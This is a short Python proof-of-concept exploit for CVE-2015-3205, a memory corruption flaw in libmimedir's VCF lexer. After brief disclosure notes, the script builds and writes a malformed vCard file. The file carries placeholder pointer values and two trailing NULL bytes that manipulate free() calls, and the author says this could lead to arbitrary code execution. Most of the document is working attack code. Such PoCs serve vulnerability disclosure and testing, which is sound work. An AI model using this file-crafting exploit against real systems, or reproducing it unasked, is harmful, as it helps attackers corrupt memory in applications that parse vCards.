#!/usr/bin/python # libmimedir-free.py # # Libmimedir VCF Memory Corruption PoC (CVE-2015-3205) # # Jeremy Brown [jbrown3264/gmail] # June 2015 # # -Synopsis- # # Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls # which occur during it's lexer's memory clean-up procedure. This could lead to exploitable # conditions such as crafting a specific memory chunk to allow for arbitrary code execution. # # -Tested- # # libmimedir-0.5.1.tar.gz # libmimedir-static 0.4-13.fc21 # # -Notes- # # Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already # a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a # fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch. # from struct import pack def main(): mime = "begin:vcard<x\nx;type=x;type=x," mime += pack("<Q", 0x4141414141414141) # mdm->p mime += pack("<Q", 0x4242424242424242) # mdm->next mime += ":x>x.l:x" mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR print("Writing free.vcf to local directory...") try: with open("free.vcf", 'wb') as outfile: outfile.write(mime) except Exception as error: print("Error: %s\n" % error); return print("Done\n") return if __name__ == "__main__": main()